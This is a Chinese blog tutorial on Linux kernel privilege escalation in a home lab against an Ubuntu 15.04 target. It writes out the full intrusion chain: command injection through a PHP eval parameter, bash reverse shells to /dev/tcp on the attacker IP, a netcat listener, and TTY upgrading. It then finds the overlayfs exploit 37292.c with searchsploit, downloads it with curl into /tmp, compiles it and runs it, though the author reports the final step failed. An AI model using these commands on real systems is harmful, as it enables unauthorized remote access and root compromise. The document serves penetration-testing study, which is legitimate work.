Linux提权篇之内核提权(三)
内核提权,顾名思义,也就是内核漏洞溢出提权,我们一般拿到webshell的时候(99.9999%都是普通用户,如果是那剩下的0.0001%,那我们也没办法,我们就偷着乐吧,因为自会有人出手,运维就不用干了),我们需要对他提权,
首先漏洞溢出提权分为两种,一种是本地溢出,另一种是远程溢出
首先本地溢出是指我们黑客向拿到webshell的目标主机发送本地溢出程序,然后在目标主机上运行,如果目标主机上存在漏洞,我们就可以拿到最高权限
其次是远程溢出是指就是我们需要与目标主机进行远程连接,然后根据系统漏洞根据相应的漏洞溢出程序来获得最高权限,就好比如说(在kail上复现永恒之蓝漏洞,就仅仅只需要输入目标主机的ip,就可以拿到最高权限)
然后我们准备实验环境 我们的攻击机kail ip 192.168.25.138
我们的Ubuntu(15.04)目标主机 ip 192.168.25.134
通过网盘分享的文件:Linux提权之内核提权
链接: 百度网盘 请输入提取码 提取码: dm8g
--来自百度网盘超级会员v3的分享
打开Ubuntu还是一样的操作(不会的可以看上一篇文章)
密码还是123456
环境配置好咋们来开始实验
首先我么你先按打开kail
输入 nc -lvnp 8888
然后打开Ubuntu
在windows主机输入
192.168.25.134
打开 点击eval函数 超链接
替换成 phpinfo()
然后我们用来开始反弹shell
还是一样的操作用bash指令
bash -i >& /dev/tcp/192.168.25.138/8888 0>&1
bash -c "bash -i >& /dev/tcp/192.168.25.138/8888 0>&1"
我们发现 有的显示不全 所以我们打开bp 进行抓包
data=system('bash -c "bash -i >& /dev/tcp/192.168.25.138/8888 0>&1"');
发送到重发模块
修改data的数值 点击发送
咋们然后返回kail 已经看到反弹shell
首先还是一样的咋们要弄一个完整的tty shell
所以咋们先搜索pyrhon 版本
这里都有 但是咋们一般都用python3 的版本
所以输入
python3 -c 'import pty;pty.spawn("/bin/bash")';
然后ctrl _+ z
放到后台
然后输入
stty -echo raw 调整格式
然后出先问题 大家看看这个问题 是不是个很熟悉
对喽 跟我们的第二篇的文章 是一样的
所以砸门要使用的是bash shell 砸门重新来一下
首先先退出
输入bash 进入bash shell
然后输入 nc -lvnp 8888 监听8888端口
然后我们在抓包 发包
看kail的回显
然后输入
python3 -c 'import pty;pty.spawn("/bin/bash")';
然后输入 ctrl + z
然后输入 stty -echo raw
然后输入 bg
在输入 fg
在摁下回车
现在所有的功能就可以用了
然后咋们就可以用第一篇学过的指令来用了
输入 uname -a 来查看内核版本
到这 我们又要要来学习新的知识了 开心吧
3.19.0-15-generic
首先我们既然复现的是内核溢出漏洞
那摩 我们就必须知道内核特定的版本有那些漏洞
所以咋们要学会搜索
首先第一
咋们可以在全球漏洞库网站来搜索(这个建议多学多看)
Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation - Linux local Exploit
其次我们也可以在百度上搜索(这个方法不推荐,但是易懂,有条件的可以去谷歌)
最后我们可以在我们的kail机上用特定的指令去搜索,这是为什莫呢
因为维护kail更新的人,同时也在维护这expdoit_db这个漏洞数据库网站
所以自然而然 kail机有了比别人先天然的优势
好了 废话不多说 第三种方法是最实用的 我推荐第三种方法
首先我们在kail机上新建一个窗口
输入searchsploit
这里常用的就是 -t
也就是输入 searchspolit -t 3.19
我们通过桌面已经知道了Ubuntu的版本是15.04
当然我们也可以用指令来查看
cat etc/issue
当然也可以用着一条指令
lsb_release -a
对照版本 应该是上边的这个
我们使用
searchspolit -x 37292.c 来查询exp
使用 q 退出预览
然后我们要把exp复制到桌面上
cp /usr/share/exploitdb/exploits/linux/local/37292.c 37292.c
因为是.c文件 咋们还要进行编译
我们查看有没有gcc
不了解gcc 没关系 他就是一个编译器
GCC编译器详解-CSDN博客‘
GCC是什么? gcc与g++的区别 具体编译细节_gcc g++-CSDN博客
这里有gcc 然后我们要在Ubuntu目标主机上进行运行 所以我们还要下载到Ubuntu机子上
如果没有gcc 那麽我们就需要在我们的本机上编译好 在上传到Ubuntu目标主机上
然后我们想要下载37292.c文件 就要保证Ubuntu主机能访问kail主机
所以我们要开启本地80端口服务
新建一个窗口
python -m SimpleHttpServer 80
我们搜索问题
python3 报错 No module named SimpleHTTPServer-CSDN博客
这篇文章会告诉哦i你答案
所以我么输入
python3 -m http.server 80
一般我们使用wegt或者curl来下载文件
通常情况下 curl 都没安装
如果没有wegt
先卸载
sudo apt-get remove wget
使用以下命令来安装
sudo apt-get dist-upgrade
sudo apt-get update
sudo apt-get install wget
wget --version
没有curl 我们
apt-get install curl
来下载
所以我们使用 curl来下载
curl http://192.168.25.138/37292.c -o /tmp/37292.c
下载完成
这句话的意思是 下载到tmp目录 名字为37292.c
为什莫要下载到tmp目录呢
因为tmp目录是谁都可以修改写入的 算是一个临时目录吧
我们cd /tmp
查看是否下载好
然后我们要进行编译他
gcc 37292.c -o exp
查看ls -al exp
一般情况下我们这个文件 不存在执行权限
所以哦我们要输入
chomd +x exp
不懂这句话 我们可以参考一下一篇文章
https://xz.aliyun.com/news/7519?time__1311=Yqfxg7DQD%3D0%3DG%3DD%2FbriQ6a8W5N0Qos%3DF4D&u_atoken=abc86965843d105dc9cc8776a4623853&u_asig=0a47315217402126133913438e00b4#toc-1
然后我们开始执行
./exp
正常道理下 我们输入完我们 应该就是root权限了
因为这个个版本内核溢出漏洞不稳定 一次可以 一次不可以
所以我们只能在本机上进行bash 反弹shell
关闭之前的页面 新建一个窗口 不要关闭http80端口服务的那个
然后我们重新启动 然后·打开 Ubuntu主机
进入 tmp 目录
发现.c文件已经丢失
因为tmp目录是临时目录 开关机就消失了
我们重新建立反弹shell
bash -c "bash -i >& /dev/tcp/192.168.25.138/8888 0>&1"
然后返回kail
那个完整的tty shell
我就不再弄了 为了演示
你们自己弄的时候 要需要自己弄
我要直接开始下载了
curl http://192.168.25.138/37292.c -o /tmp/37292.c
最终演示 还是不行
我们再换另外一个bash 指令
bash -i >& /dev/tcp/192.168.25.138/8888 0>&1
还是不行
Ubuntu编译不行
我们就在本地编译 在kail
然后还是不行
博主要放弃了 反正思路只是这个思路
发证正常道理来说 最后应该出来的是 root